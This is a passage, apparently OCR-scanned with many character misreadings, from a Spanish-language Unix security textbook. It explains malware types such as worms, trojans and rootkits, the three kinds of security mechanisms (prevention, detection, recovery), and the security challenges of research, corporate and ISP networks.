sin embargo, en Unix los virus no suelen ser un problema de seguridad grave, ya que lo que 
pueda hacer un virus lo puede hacer mas facilmente cualquier otro mecanismo logico (que 
sera el que hay que tener en cuenta a la hora de disehar una politica de seguridad). 

Aunque los virus existentes para entornos Unix son mas una curiosidad que una amenaza real, 
en sistemas sobre plataformas IBM-PC o compatibles (recorclemos que hay muchos sistemas 
Unix que operan en estas plataformas, como Linux, FreeBSD, NetBSD, Minix, Solaris. . . ) 
ciertos virus, especialmente los de boot, pueden tener efectos nocivos, como dahar el sector de 
arranque; aunque se trata de darios menores comparados con los efectos de otras amenazas, 
hay que tenerlos en cuenta. 

Gusanos 

Un gusano es un programa capaz de ejecutarse y propagarse por si mismo a traves de redes, en 
ocasiones portando virus o aprovechando bugs de los sistemas a los que conecta para daharlos. 
A1 ser dificiles de programar su numero no es muy elevado, pero el daiio que pueden causar es 
muy grande: el mayor incidente de seguridad en Internet fue precisamente el Internet Worm, 
un gusano que en 1988 causo perdidas millonarias al infectar y detener mas de 6000 maquinas 
correct adas a la red. 

Hemos de pensar que un gusano puede automatizar y ejecutar en unos segundos todos los 
pasos que seguiria un atacante lrumano para acceder a nuestro sistema: mientras que una 
persona, por muchos conocimientos y medios que posea, tardaria como minimo horas en 
controlar nuestra red completa (un tiempo mas que razonable para detectarlo), un gusano 
puede hacer eso mismo en pocos minutos: de ahi su enorme peligro y sus devastadores efectos. 

Caballos de Troya 

Los troyanos o caballos de Troya son instrucciones escondidas en un programa de forma 
que este parezca realizar las tareas que un usuario espera de el, pero que realmente ejecute 
funciones ocultas (generalmente en detrimento de la seguridad) sin el conocimiento del usuario; 
como el Caballo de Troya de la mitologia griega, al que deben su nombre, ocultan su funcion 
real bajo la apariencia de un programa inofensivo que a primera vista funciona correctamente. 
En la practica totalidad de los ataques a Unix, cuando un intruso consigue el privilegio 
necesario en el sistema instala troyanos para ocultar su presencia o para asegurarse la entrada 
en caso de ser descubierto: por ejemplo, es tipico utilizar lo que se denomina un rootkit, que no 
es mas que un conjunto de versiones troyanas de ciertas utilidades (netstat, ps, who. . . ), para 
conseguir que cuando el administrador las ejecute no vea la information relativa al atacante, 
como sus procesos o su conexion al sistema; otro programa que se suele suplantar es login, 
por ejemplo para que al recibir un cierto nombre de usuario y contraseha proporcione acceso 
al sistema sin necesidad de consultar /etc/passwd. 

Programas conejo o bacterias 

Bajo este nombre se conoce a los programas que no hacen nada util, sino que simplemente 
se dedican a reproducirse hasta que el numero de copias acaba con los recursos del sistema 
(memoria, procesador, disco...), produciendo una negation de servicio. Por si mismos no 
hacen ningun daiio, sino que lo que realmente perjudica es el gran numero de copias suyas en 
el sistema, que en algunas situaciones pueden llegar a provocar la parada total de la maquina. 
Hemos de pensar hay ciertos programas que pueden actuar como conejos sin proponerselo; 
ejemplos tipicos se suelen encontrar en los sistemas Unix destinados a practicas en las que se 
enseiia a programar al alumnado: es muy comun que un bucle que por error se convierte en 
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infinito contenga entre sus instrucciones algunas de reserva de memoria, lo que implica que si 
el sistema no presenta una correcta politica de cuotas para procesos de usuario pueda venirse 
abajo o degradar enormemente sus prestaciones. El hecho de que el autor suela ser facilmente 
localizable no debe ser ninguna excusa para descuidar esta politica: no podemos culpar a un 
usuario por un simple error, y ademas el daiio ya se ha producido. 

• Tecnicas salami 

Por tecnica salami se conoce al robo automatizado de pequehas cantidades de bienes (ge- 
neralmente dinero) de una gran cantidad origen. El hecho de que la cantidad inicial sea 
grande y la robada pequena hace extremadamente dificil su detection: si de una cuenta con 
varios millones de pesetas se roban unos centimos, nadie va a darse cuenta de ello; si esto se 
automatiza para, por ejemplo, descontar una peseta de cada nomina pagada en la universidad 
o de cada beca concedida, tras un mes de actividad seguramente se habra robado una enorme 
cantidad de dinero sin que nadie se haya percatado de este hecho, ya que de cada origen se 
ha tornado una cantidad infima. 

Las tecnicas salami no se suelen utilizar para atacar sistemas normales, sino que su uso 
mas habitual es en sistemas bancarios; sin embargo, como en una red con requerimientos de 
seguridad medios es posible que haya ordenadores dedicados a contabilidad, facturacion de un 
departamento o gestion de nominas del personal, comentamos esta potential amenaza contra 
el software encargado de estas tareas. 

1.5.3 Catastrofes 

Las catastrofes (naturales o artificiales) son la amenaza menos probable contra los entornos habi- 
tuales: simplemente por su ubicacion geografica, a nadie se le escapa que la probabilidad de sufrir 
un terremoto o una inundation que afecte a los sistemas informaticos en una gran ciudad como 
Madrid, Valencia o Barcelona, es relativamente baja, al menos en comparacion con el riesgo de 
sufrir un intento de acceso por parte de un pirata o una infection por virus. Sin embargo, el hecho 
de que las catastrofres sean amenazas poco probables no implica que contra ellas no se tomen unas 
medidas basicas, ya que si se produjeran generarian los mayores daiios. 

Un subgrupo de las catastrofes es el denominado de riesgos poco probables. Obviamente se 
denomina asf al conjunto de riesgos que, aunque existen, la posibilidad de que se produzcan es tan 
baja (menor incluso que la del resto de catastrofes) que nadie toma, o nadie puede tomar, medidas 
contra ellos. Ejemplos habituates de riesgos poco probables son un ataque nuclear contra el sistema, 
el impacto de un satelite contra la sala de operaciones, o la abduction de un operador por una nave 
extraterrestre. Nada nos asegura que este tipo de catastrofes no vaya a ocurrir, pero la probabilidad 
es tan baja y los sistemas de prevention tan costosos que no vale la pena tomar medidas contra ellas. 

Como ejemplos de catastrofes hablaremos de terremotos, inundaciones, incendios, humo o aten- 
tados de baja magnitud (mas comunes de lo que podamos pensar); obviamente los riesgos poco 
probables los trataremos como algo anecdotico. De cualquier forma, vamos a hablar de estas ame- 
nazas sin extendernos mucho, ya que el objetivo de este proyecto no puede ser el proporcionar las 
directrices para una construction de edificios a prueba de terremotos, o un plan formal de evacuation 
en caso de incendio. 


1.6 ^Como nos podemos proteger? 

Hasta ahora hemos hablado de los aspectos que engloba la seguridad informatica, de los elementos 
a proteger, de los tipos de amenazas que contra ellos se presentan y del origen de tales amenazas; 
parece claro que, para completar nuestra vision de la seguridad, hemos de hablar de las formas de 
protection de nuestros sistemas. Cuando hayamos completado este punto, habremos presentado a 
grandes rasgos los diferentes puntos a tratar en este proyecto, tal y como se sintetiza en la figura 1.2. 
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Figura 1.2: Vision global de la seguridad informatica 

Para proteger nuestro sistema hemos de realizar un analisis de las amenazas potenciales que puede 
sufrir, las perdidas que podrian generar, y la probabilidad de su ocurrencia; a partir de este analisis 
hemos de disehar una politica de seguridad que defina responsabilidades y reglas a seguir para evitar 
tales amenazas o minimizar sus efectos en caso de que se produzcan. A los mecanismos utilizados 
para implementar esta politica de seguridad se les denomina mecanismos de seguridad; son la 
parte mas visible de nuestro sistema de seguridad, y se convierten en la herramienta basica para 
garantizar la protection de los sistemas o de la propia red. 

Los mecanismos de seguridad se dividen en tres grandes grupos: de prevencion, de deteccion y 
de recuperacion. Los mecanismos de prevencion son aquellos que aumentan la seguridad de un 
sistema durante el funcionamiento normal de este, previniendo la ocurrencia de violaciones a la 
seguridad; por ejemplo, el uso de cifrado en la transmision de datos se puede considerar un me- 
canismo de este tipo, ya que evita que un posible atacante escuche las conexiones hacia o desde 
un sistema Unix en la red. Por mecanismos de deteccion se conoce a aquellos que se utilizan 
para detectar violaciones de la seguridad o intentos de violation; ejemplos de estos mecanismos 
son los programas de auditoria como Tripwire. Finalmente, los mecanismos de recuperacion son 
aquellos que se aplican cuando una violation del sistema se ha detectado, para retornar a este a su 
funcionamiento correcto; ejemplos de estos mecanismos son la utilization de copias de seguridad o 
el hardware adicional. Dentro de este ultimo grupo de mecanismos de seguridad encontramos un 
subgrupo denominado mecanismos de analisis forense, cuyo objetivo no es simplemente retor- 
nar al sistema a su modo de trabajo normal, sino averiguar el alcance de la violation, las actividades 
de un intruso en el sistema, y la puerta utilizada para entrar , de esta forma se previenen ataques 
posteriores y se detectan ataques a otros sistemas de nuestra red. 

®Si ademas los resultados se pretenden utilizar como pruebas ante un tribunal, se habla de Informatoscopia 
([Gal96a]). 
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Parece claro que, aunque los tres tipos de mecanismos son importantes para la seguridad de nues- 
tro sistema, hemos de enfatizar en el uso de mecanismos de prevention y de detection; la maxima 
popular ‘mas vale prevenir que curar’ se puede aplicar a la seguridad informatica: para nosotros, 
evitar un ataque, detectar un intento de violacion, o detectar una violacion exitosa inmediatamen- 
te despues de que ocurra es mucho mas productivo y menos comprometedor para el sistema que 
restaurar el estado tras una penetration de la maquina. Es mas, si consiguieramos un sistema sin 
vulnerabilidades y cuya politica de seguridad se implementara mediante mecanismos de prevencion 
de una forma completa, no necesitariamos mecanismos de detection o recuperation. Aunque esto 
es imposible de conseguir en la practica, sera en los mecanismos de detection, y sobre todo en los 
de prevencion, en los que centraremos nuestro trabajo. 

Los mecanismos de prevencion mas habituales en Unix y en redes son los siguientes ([01o92]): 

• Mecanismos de autenticacion e identification 

Estos mecanismos hacen posible identificar entidades del sistema de una forma unica, y pos- 
teriormente, una vez identificadas, autenticarlas (comprobar que la entidad es quien dice ser). 
Son los mecanismos mas importantes en cualquier sistema, ya que forman la base de otros 
mecanismos que basan su funcionamiento en la identidad de las entidades que acceden a un 
objeto. 

Un grupo especialmente importante de estos mecanismos son los denominados Sistemas de 
Autenticacion de Usuarios, a los que prestaremos una especial atencion por ser los mas utili- 
zados en la practica. 

• Mecanismos de control de acceso 

Cualquier objeto del sistema ha de estar protegido mediante mecanismos de control de ac- 
ceso, que controlan todos los tipos de acceso sobre el objeto por parte de cualquier entidad 
del sistema. Dentro de Unix, el control de acceso mas habitual es el discrecional (DAC, 
Discretionary Access Control), implementado por los bits rwx y las listas de control de acceso 
para cada hchero (objeto) del sistema; sin embargo, tambien se permiten especificar controles 
de acceso obligatorio (MAC). 

• Mecanismos de separation 

Cualquier sistema con diferentes niveles de seguridad ha de implementar mecanismos que 
permitan separar los objetos dentro de cada nivel, evitando el flujo de information entre 
objetos y entidades de diferentes niveles siempre que no exista una autorizacion expresa del 
mecanismo de control de acceso. 

Los mecanismos de separation se dividen en cinco grandes grupos, en funcion de como separan 
a los objetos: separation fisica, temporal, logica, criptografica y fragmentation. Dentro de 
Unix, el mecanismo de separation mas habitual es el de separation logica o aislamiento, 
implementado en algunos sistemas mediante una Base Segura de Computo (TCB). 

• Mecanismos de seguridad en las comunicaciones 

Es especialmente importante para la seguridad de nuestro sistema el proteger la integridad y la 
privacidad de los datos cuando se transmiten a traves de la red. Para garantizar esta seguridad 
en las comunicaciones, hemos de utilizar ciertos mecanismos, la mayoria de los cuales se basan 
en la Criptograffa: cifrado de clave publica, de clave privada, firmas digitales. . . Aunque cada 
vez se utilizan mas los protocolos seguros (como SSH o Kerberos, en el caso de sistemas Unix 
en red), aun es frecuente encontrar conexiones en texto claro ya no solo entre maquinas de 
una misma subred, sino entre redes diferentes. Una de las mayores amenazas a la integridad 
de las redes es este trafico sin cifrar, que hace extremadamente faciles ataques encaminados 
a robar contrasehas o suplantar la identidad de maquinas de la red. 

A lo largo de este trabajo intentaremos explicar el funcionamiento de algunos de estos mecanismos 
para conseguir sistemas Unix mas fiables; pero mucho mas importante que el funcionamiento de, 
por ejemplo, la Base Segura de Computo o las Listas de Control de Acceso, es la concienciacion 
de usuarios y administradores de las ventajas en materias de seguridad que estos mecanismos, y 
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muchos otros, ofrecen. Hemos de recordar que un sistema Unix instalado tal y como se distribuye 
suele representar una puerta abierta para cualquier pirata sin unos grandes conocimientos; si ese 
mismo sistema lo configuramos minimamente antes de ponerlo a trabajar, un intruso necesitara 
unos conocimientos del sistema operativo y de la red mas o menos amplios (o mucha suerte) si 
quiere violar su seguridad. Como ya dijimos, el objetivo de este proyecto no es conseguir unos 
sistemas con seguridad militar en un entorno de normal (algo imposible), sino conseguir un entorno 
de trabajo minimamente fiable. 


1.7 Redes ‘normales’ 

En este trabajo, como ya hemos comentado, no se pretende ni mucho menos adentrarse en temas 
de seguridad que se podria considerar ‘de alto nivel’, como la necesaria en un entorno militar', de 
inteligencia, o en una gran empresa que maneje datos muy apetecibles para sus competidores. Un 
fallo en la seguridad de los sistemas informaticos de una central nuclear puede ser catastrofico - 
en el mas amplio sentido de la palabra un pequeho fallo en los sistemas encargados de lanzar 
un satelite nos costaria a todos miles de millones de clolares. . . si en lugar de ser un satelite es un 
misil, podemos imaginarnos las consecuencias. Por fortuna para todos nosotros, esos sistemas son 
altamente seguros y por supuesto no son simples ordenadores conectados a Internet. . . ni siquiera a 
redes de proposito general. 

Pero lo mas probable es que todas estas cosas nos queden demasiado lejos a la mayoria de mortales; 
para nosotros los problemas de seguridad diarios son intrusiones, virus (sin comentarios), negacio- 
nes de servicio contra una maquina que sirve paginas web. . . algo mucho mas terrenal que todo lo 
anterior. Es en este tipo de entornos clonde los mecanismos que estudiaremos se pueden aplicar 
mas facilmente, tanto por las caracteristicas de los sistemas utilizados como por el - relativamente 
- bajo peligro de nuestros atacantes: imagino que la CIA o el KGB no estaran dispuestos a pagar a 
piratas profesionales para que entren y lean nuestro correo; los intrusos potencialmente interesados 
en nuestras maquinas seran chavales que solo buscan un cierto status social en un grupo de aficio- 
nados a la pirateria, o que acaban de ver una pelicula de cuyo nombre no quiero acordarme - y 
tratan de emular a los actores. Gente que ante la mas minima dificultad para acceder a nuestra red, 
la abandonara y se dedicara a objetivos mas faciles (como la red de nuestro vecino). Contra este 
tipo de personas es contra quien debemos esforzarnos: ya hemos dicho que es inutil intentar parar 
a un atacante profesional, pagado, o muy interesado en nuestras maquinas; el que su ataque tenga 
exito es solo cuestion de tiempo, y seguramente depende mas de la suerte que tenga el frente a la 
que tengamos nosotros. Pero estos atacantes son minoria, y lo que debemos buscar es defendernos 
contra la mayoria. 

Ejemplos de redes ‘normales’, de entornos con unos requerimientos de seguridad medios (pero 
requerimientos, al fin y al cabo), son las redes de I+D (universidades, centros de investigation. . . ), 
las de empresas medianas y las de proveedores de acceso a Internet; vamos a hablar en este punto 
de las caracteristicas de cada una de ellas. 

1.7.1 Redes de I+D 

En cualquier tipo de red, basada en Unix o no, la seguridad es siempre un factor a tener en cuenta 
a la hora de administrar la propia red y sus maquinas. Por supuesto las redes de I+D no son nin- 
guna exception, y aunque con demasiada frecuencia su seguridad es minima - o ni siquiera existe - 
merece la pena invertir tiempo, y por que no, dinero, para garantizar un minimo nivel de seguridad 
que proporcione un entorno de trabajo aceptable. 

Las redes de I+D tienen unas caracteristicas propias que no poseen otras redes, por ejemplo las 
militares o las pertenecientes a empresas. El rasgo diferenciador de redes I+D mas importante es 

' Tampoco creo que fuera posible; a fin de cuentas, la seguridad de estos sistemas solo la conocen los militares. . . 
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su caracter extremadamente abierto: mientras que una empresa puede limitar el acceso exterior a 
traves de un simple firewall , u ofrecer solo determinados servicios al exterior de la empresa, como 
unas paginas web , una red de I+D no puede permitirse este caracter tan cerrado. Esto es debido a 
que el aspecto de la seguridad mas importante en las redes de investigation es la disponibilidad: a 
todo el personal investigador le interesa que sus publicaciones sean lo mas accesibles a traves de la 
web, al alumnado le interesa poder consultar sus datos academicos desde casa, por Internet, etc. Y 
es muy dificil hacerles cambiar de opinion, o al menos concienciarlos de los problemas de seguridad 
que una excesiva apertura supone: si un profesor acude a una conferencia en cualquier lugar del 
mundo no se le puede obligar, por ejemplo, a kerberizar todas las aplicaciones de su orclenador 
portatil simplemente para poder leer el correo a distancia; simplemente desea ejecutar un telnet, 
igual que si estuviera en el campus, para hacerlo. 

La caracterfstica que acabamos de comentar es algo muy negativo de cara a mantener la segu- 
ridad de los sistemas; no podemos limitarnos a establecer una ferrea politica de filtrado de paquetes 
o a restringir servicios, ya que los usuarios no van a aceptarlo. Sin embargo, no todas las carac- 
terfsticas de las redes de I+D son un problema para su seguridad; por ejemplo, un importante 
punto a favor es el escaso interes para un pirata de los datos con los que se trabaja generalmente 
en institutes de investigation o centres universitarios. En entornos de estas caracterfsticas no se 
suele trabajar con datos que impliquen information valiosa para un espia industrial o militar, ni 
tampoco se mueven grandes cantidades de dinero a traves del comercio electronico; casi todo lo 
que un intruso va a encontrar en una maquina de I+D son programas, documentos, resultados de 
simulaciones. . .que a muy poca gente, aparte de sus autores, interesan. 

Entonces, ^contra quien nos enfrentamos? Muy pocos de los intrusos que podamos encontrar 
en redes de I+D son piratas expertos; la mayorfa son gente poco experimentada, que incluso ataca 
nuestras maquinas desde sus PCs en casa corriendo MS-DOS (desde 6.2 hasta 2000) sin saber nada 
sobre Unix o redes. La mejor defensa contra estos individuos consiste simplemente en cerrar los ser- 
vicios que no sean estrictamente necesarios y mantener actualizado el software de nuestras maquinas 
que se pueda considerar crftico (nucleo, demonios, ficheros setuidados. . . ). Casi todos ellos suelen 
actuar movidos unicamente por el afan de conseguir un cierto status en comunidades virtuales de 
piratas; ni siquiera actuan por curiosidad o para ampliar sus conocimientos, con lo que tenemos una 
importante ventaja contra ellos: es muy raro - pero no imposible - que se obsesionen por nuestra 
red o sus maquinas, de forma que si conseguimos que sus primeros intentos por acceder no sean 
fructiferos directamente dejaran el ataque para dedicarse a objetivos mas faciles. En cuanto a los 
piratas con un mayor nivel de conocimientos, si los encontramos en una red de I+D seguramente 
sera porque utilizan nuestros equipos como plataforma para atacar servidores ‘mas interesantes’ 
para un intruso, como maquinas militares o de centres de investigation muy importantes, como la 
NASA; en estos casos es obligatorio poner sobre aviso al organismo de mayor nivel responsable de la 
seguridad en la red: este organismo es, en el caso de la red universitaria espanola, IrisCERT, cuya 
information de contacto se cita al final del proyecto junto a la de otros organismos relacionados con 
la seguridad informatica a distintos niveles. 

1.7.2 Empresas 

Las redes y sistemas pertenecientes a empresas son, a priori, las que mayores ventajas presentan en 
lo relativo a su protection; en primer lugar, se trata de redes que suelen ser muy aislables: muchas 
empresas disponen de una LAN en el edificio donde estan ubicadas, red que se puede aislar perfec- 
tamente del exterior mediante cortafuegos. Incluso si se han de ofrecer servicios hacia el exterior 
(tipicamente, correo electronico y web), se pueden situar los servidores en una zona clesmilitarizada 
entre el router y la red interna. Ademas, en muchos casos la LAN de la empresa ni siquiera es 
realmente necesario que este conectada a Internet, aunque esto cada dfa es menos habitual mas por 
requisites humanos que tecnicos: aunque no haga falta para el trabajo la conexion a Internet, el 
clima de clescontento entre nuestro personal que puede suponer bloquear el acceso hacia el exterior 
es una gran traba de cara al aislamiento - y por tanto, a la seguridad . 



1.7. REDES ‘NORMALES’ 


15 


Esta es la teorfa; como siempre, casi perfecta: vamos a aiiadirle problemas reales para compro- 
bar que las cosas no son tan bonitas como las acabamos de pintar. En primer lugar: imaginemos 
una empresa con varias sucursales - oficinas, almacenes. . . - separadas geograficamente. Si la dis- 
tancia entre todas ellas es corta y la empresa solvente, quizas se puedan permitir una red propia, 
dedicada, y protegida por los tecnicos de la propia compama; pero esto rara vez es asf: confor- 
me aumenta la separation, la idea de la red dedicada se va difuminando (simplemente con una 
distancia de un par de kilometres - o menos, dependiendo de la zona - ya resulta imposible esta 
aproximacion). Ahora entra en juego una red de proposito general como base de comunicaciones, se- 
guramente la red telefonica, o incluso Internet; la protection de la red ya no depende exclusivamente 
de nuestra organization, sino que entran en juego terceras companfas - posiblemente Telefonica, 
con todo lo que ello implica. . . Es casi indispensable recurrir a redes privadas virtuales ( Virtual 
Private Networks, VPN), canales de comunicacion seguros dentro de esa red insegura. A1 menos 
podemos mantener comunicaciones seguras entre las diferentes sucursales. . . pero no todas las com- 
panias recurren a estos mecanismos: realmente, es mas facil utilizar la red de proposito general 
como si fuera segura, enviando por ella toda la informacion que queramos intercambiar entre ofi- 
cinas, sin proteger. Ademas, la seguridad no suele ser tangible: seguramente nuestro jefe estara 
mas contento si en un dia tiene montada la red aunque sea insegura, sin esperar a la configuration 
de la red privada - evidentemente, mas costosa -, aunque a la larga resulte una solution mucho peor. 

Compliquemos aiin mas la seguridad de nuestra compama: ahora entran en juego estaciones moviles, 
por ejemplo comerciales con portatiles que deben comunicarse con los equipos fijos, o ejecutivos que 
al salir de viaje de negocios quieren poder seguir leyendo su correo. Estas estaciones estan dando 
muchos quebraderos de cabeza, tanto a nivel de conectividad como de seguridad. . . otro potential 
problema para nuestra empresa; realmente, no tan potential: seguramente esa persona que esta de 
viaje acabara conectado su portatil a la lfnea telefonica de un hotel, y conectando con las maquinas 
fijas via modem. Por supuesto, esa persona ni ha oido ni quiere oir hablar de conexiones cifradas: 
es mas facil un telnet o un rlogin contra el servidor para poder leer el correo; a fin de cuentas, los 
piratas son algo que solo existe en las pelfculas. . . 

Hasta ahora todos los ataques contra la empresa eran - en principio - externos; pero imagine- 
mos que uno de nuestros empleados no esta contento con su sueldo y decide irse a la competencia. 
Y no solo quiere irse, sino que decide llevarse varios clocumentos confidenciales, documentos a los 
que ha tenido un facil acceso simplemente acercandose a una de las impresoras comunes, recogien- 
do los listados, y fotocopiandolos antes de entregarlos a su dueho. O incluso mas facil: en nuestra 
empresa los ordenadores de los empleados utilizan Windows 9x, y todos los puestos ofrecen los 
discos duros como recursos compartidos; a fin de cuentas, asi es mucho mas facil el intercambio de 
informacion entre empleados. Esa persona, sin ni siquiera levantarse de su puesto de trabajo, tiene 
acceso a casi toda la informacion de nuestra empresa. . . Por cierto, esto no pretende ser un ataque 
a la seguridad de estos productos (aunque facilmente poclria serlo), sino una realidad que se puede 
ver en muchisimas empresas, sobre todo pequehas y medianas. 

Como acabamos de ver, ha sido suficiente con plantear un par de situaciones - de lo mas nor- 
males - para romper toda la idea de seguridad facil que teniamos al principio; y eso sin plantear 
problemas mas rebuscados: ique sucede si a una empresa de la competencia le da por sabotear 
nuestra imagen atacando nuestras paginas web ? [,y si le interesa leer nuestros e-mailsl No hace 
falta que se trate de una multinational poderosa dispuesta a contratar piratas profesionales: es 
suficiente con que el administrador de la red de nuestra competencia tenga unas nociones sobre 
seguridad. . . y bastantes ganas de fastidiarnos. 

1.7.3 ISPs 

Las empresas cledicadas a ofrecer acceso a Internet a traves de la lfnea telefonica, asf como otros 
servicios de red (principalmente, hospedaje de paginas web) son los conocidos ISPs ( Internet Service 



16 


CAPITULO 1. INTRO D UCCION Y CONCEPTOS PREVIOS 


Providers)', conocidos tanto por sus servicios como por su inseguridad. Y es que realmente no es 
facil compaginar una amplia oferta de servicios con una buena seguridad: cualquier administrador 
de maquinas Unix sabe que cada puerto abierto en su sistema es una potential fuente de problemas 
para el mismo, por lo que conviene reducir al mfnimo su numero. Si los ISPs viven justamente 
de permitir accesos - a Internet o a sus propios servidores - parece obvio que no poclran aplicar 
estrictas politicas de seguridad en las maquinas: mientras que por ejemplo en una empresa el admi- 
nistrador puede obligar - relativamente - a sus usuarios a utilizar protocolos cifrados, si un ISP no 
permite acceso ftp a los clientes que deseen colgar sus paginas web y les obliga a usar un protocolo 
de transferencia de archivos que aplique criptograffa, es muy probable que muchos de esos clientes 
abandonen y se vayan a la competencia: es mas facil utilizar el ftp clasico que instalar software 
adicional para poder actualizar una pagina web. 

Imaginemos un proveedor que ofrece conexion a Internet a sus clientes; sin duda esos clientes querran 
conectar a paginas web , hacer IRC, transferir archivos o utilizar telnet. Nada problematico a pri- 
mera vista: las conexiones se realizan hacia el exterior de nuestra red, no hacia el interior. Pero 
ademas esos clientes querran utilizar ICQ o NetMeeting , querran instalar servidores de todo tipo 
en sus maquinas para que sus amigos los utilicen clesde servicios web hasta NFS -, con lo que 
empiezan los primeros problemas. Y no nos quedamos aquf: seguramente quieren poder descargar 
su correo POP3 desde cualquier lugar, no solo desde el rango de direcciones del proveedor (por su- 
puesto, sin oir hablar de cifrado en la conexion) y tambien les hace gracia un espacio para publicar 
sus paginas web de forma permanente. . . y mucho mejor para ellos si se les permite programar e 
instalar sus propios CGIs en dichas paginas; aqui ya no hay option: o simplemente se les niega 
esta ultima posibilidad, o si se les permite y deseamos un entorno medianamente seguro hemos 
de dedicar recursos - y no pocos - a verificar la seguridad de esos programas. Hagamos lo que 
hagamos, tenemos problemas: si no permitimos que los usuarios usen sus propios CGIs, y otro pro- 
veedor si que lo permite, seguramente cambiaran de ISP. . . si revisamos la seguridad, tampoco les 
va a hacer gracia tener que modificar su programa una y otra vez hasta que lo consideremos seguro; 
a fin de cuentas, estaran modificandolo para conseguir algo que probablemente ni siquiera entiendan. 

Sigamos ahadiendo problemas: puestos a pedir, los usuarios tambien pueden pedir acceso a ba- 
ses de datos en sus paginas, por ejemplo via php3; ya nos afectan los problemas que pueda tener 
este tipo de software. Incluso pueden querer instalar sistemas completos de comercio electronico, 
sistemas capaces de convertir nuestra red en un autentico agujero. Es mas, si permitimos hospedaje 
de maquinas es muy probable que el cliente que usa este servicio quiera acceder remotamente via 
telnet - o peor, rlogin , incluso para tareas de administration; ni oir hablar de cosas como SSH o 
SSL Telnet : a fin de cuentas, hacen lo mismo y son mas complicados que un sencillo telnet. . . 

La seguridad de los ISPs sufre ademas el problema clasico de la seguridad en cualquier entor- 
no, pero quizas de una forma mucho mas grave: estamos trabajando con algo intangible, con algo 
muy dificil de ver. Si se realiza una inversion de tiempo o dinero para adquirir equipos nuevos, la 
mejora se nota inmediatamente; si esa inversion se realiza para incrementar la seguridad, quizas las 
mejoras obtenidas nunca las pueda notar un usuario. Y si las nota, con toda probabilidad es peor: 
es porque han fallado. La mayor parte de los potenciales clientes de un ISP preferira una conexion 
un poco mas rapida frente a una conexion o unos servicios mas seguros. 

Con situaciones tan sencillas y comunes como las anteriores podemos hacernos una idea de la 
potencial inseguridad de los ISPs; se trata de problemas reales, no meramente teoricos: en ambien- 
tes underground no es raro encontrar piratas con casi todas - o con todas - las claves de los clientes 
de un proveedor (personalmente he conocido varios casos) . Solo tenemos un punto a nuestro favor, 
si se puede considerar asf: hace un par de ahos esas claves eran algo mas o menos valioso para un 
pirata, ya que con ellas consegufa un acceso a Internet gratuito y - mas importante - si dar ninguno 
de sus datos. Hoy en dfa, y clebido a empresas que ofrecen ese tipo de acceso - por ejemplo como 
Alehop , con unas contrasenas genericas y gratuitas para todo el mundo -, las claves de los clientes 
de un ISP no son algo tan codiciado. 
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En la decada de los ochenta para mucha gente el concepto de seguridad era algo inimaginable en 
el entorno Unix: la facilidad con que un experto podia acceder a un sistema, burlar todos sus 
mecanismos de protection y conseguir el maximo nivel de privilegio era algo de sobra conocido por 
todos, por lo que nadie podia pensar en un sistema Unix seguro. 

Afortunadamente, los tiempos han cambiado mucho desde entonces. Aunque en un principio y 
segiin uno de sus creadores, Unix no se diseno para ser seguro ( [Rit86] ) , a finales de los 80 se con- 
virtio en el primer sistema operativo en alcanzar niveles de seguridad quasi militares ([HJAW88], 
[Ser 91]...)- En la actualidad se puede considerar el sistema operativo de proposito general mas 
fiable del mercado; desde los clones habituales (Solaris, HP-UX, IRIX. . . ) hasta los ‘Trusted Unix’ 
(de los que hablaremos a continuation) , pasando por los sistemas gratuitos (Linux, FreeBSD...), 
cualquier entorno Unix puede ofrecer los mecanismos de seguridad suficientes para satisfacer las ne- 
cesidades de la mayoria de instituciones. Los Unices habituales, como Solaris o Linux, son bastante 
inseguros tal y como se instalan por defecto ( out-of-the-box ), como veremos a la hora de hablar de la 
seguridad logica; esto significa que requieren de una minima puesta a punto, en cuanto a seguridad 
se refiere, antes de ponerlos a trabajar con unas minimas garantias de fiabilidad. Una vez realizada 
esta puesta a punto suelen tener una seguridad aceptable en redes de proposito general. El proble- 
ma es que en muchas ocasiones se pone a trabajar a Unix tal y como se instala por defecto, lo que 
convierte a cualquier sistema operativo, Unix o no, en un autentico agujero en cuanto a seguridad 
se refiere: cuentas sin password o con passwords por defecto, servicios abiertos, sistemas de ficheros 
susceptibles de ser compartidos. . . 

Dentro de la familia Unix existen una serie de sistemas denominados ‘Unix seguros’ o ‘Unix fiables’ 
(Trusted Unix); se trata de sistemas con excelentes sistemas de control, evaluados por la National 
Security Agency (NSA) estadounidense y clasificados en niveles seguros (B o A) segiin [B+85]. Entre 
estos Unix seguros podemos encontrar AT&T System V/MLS y OSF/1 (Bl), Trusted Xenix 8 (B2) 
y XTS-300 STOP 4.1 (B3), considerados los sistemas operativos mas seguros del mundo (siempre 
segiin la NSA). La gran mayoria de Unices (Solaris, AIX. . . ) estan clasificados como C2, y algunos 
otros, como Linux, se consideran sistemas C2 de facto: al no tener una empresa que pague el proceso 
de evaluation de la NSA no estan catalogados, aunque puedan implementar todos los mecanismos 
de los sistemas C2. 

A la vista de lo comentado en este punto, parece claro que Unix ha dejado de ser ese sistema 
arcaico e inseguro de sus primeros tiempos para convertirse en el entorno de trabajo mas fiable 
dentro de la gama de sistemas operativos de proposito general; sin embargo, por alguna extraha 
razon, mucha gente tiende a considerar todavfa a los equipos Unix como amenazas en la red, espe- 
cialmente a los clones gratuitos como Linux o FreeBSD que habitualmente se ejecutan en PCs; el 
hecho de que sean gratuitos no implica en ningun momento que sean inestables, y mucho menos, in- 
seguros: empresas tan importantes como Yahoo! (www.yahoo.com) o Citroen (www.citroen.com), 
o el propio servicio postal de Estados Unidos utilizan estos entornos como servidores web o como 
firewall en sus redes. No obstante, las polfticas de marketing de ciertas empresas clesarrolladoras 
tienden a popularizar (y lamentablemente lo consiguen) ideas erroneas sobre la seguridad en Unix, 
lo que motiva que algunas organizaciones intenten buscar sistemas alternatives, casi siempre susti- 
tuyendo maquinas Unix por entornos Windows NT o Windows 9x. No creo que haga falta hacer 
comentarios sobre la seguridad de estos sistemas, por lo que no entraremos en detalles sobre ella; 
si alguien esta interesado, o duda de la capacidad de Unix frente a estos entornos, puede consultar 
alguna de las comparativas o de los artfculos publicados sobre el tema por universidades o por 
prestigiosos nombres dentro del mundo de la seguridad informatica, o simplemente interesarse por 
el tipo de sistemas utilizados en centres de investigation como AT&T y la NASA, o en organismos 
de seguridad como el FBI y la NSA: Unix, por supuesto. 

®Este sistema, de la compama Trusted Information Systems, Inc, obviamente no tiene nada que ver con el antiguo 
Microsoft Xenix, de Microsoft Corporation 
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Capitulo 2 


Seguridad fisica de los sistemas 


2.1 Introduction 

